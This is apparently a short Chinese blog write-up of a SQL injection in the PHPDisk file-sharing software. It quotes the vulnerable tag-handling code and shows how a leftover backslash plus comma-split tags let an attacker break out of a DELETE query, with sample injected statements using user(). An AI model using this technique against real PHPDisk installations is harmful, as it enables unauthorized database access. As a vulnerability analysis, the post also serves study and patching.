phpdisk 注入一枚

作者:hack1990 时间:14-09-18 阅读数:747人阅读

image

image

发现竟然报错了。



看了一下所执行的语句


delete from pd_file2tag where file_id='1' and tag_name not in ('asd\')


因为phpdisk有全局转义 这样就知道肯定是有个过滤函数 把单引号替换空了


就留下了转义符 但是只有一个参数可控 能引入单引号也没啥用啊。


在modules/public.inc.php中


$tag_arr = explode(',',$tags);

if(count($tag_arr) >5){

$error = true;

$sysmsg[] = __('too_many_tags');

}

}


if($settings['open_tag']){

make_tags($tags,$tag_arr,$file_id);

}

可以看到 是用逗号来切割的 然后就能引入多个参数了。

image


delete from pd_file2tag where file_id='1' and tag_name not in ('asd\','xxxxxxxxxxxxx')


此时就有两个参数了。


然后就


delete from pd_file2tag where file_id='1' and tag_name not in ('asd\',',user() and '') 之类的了。


发表评论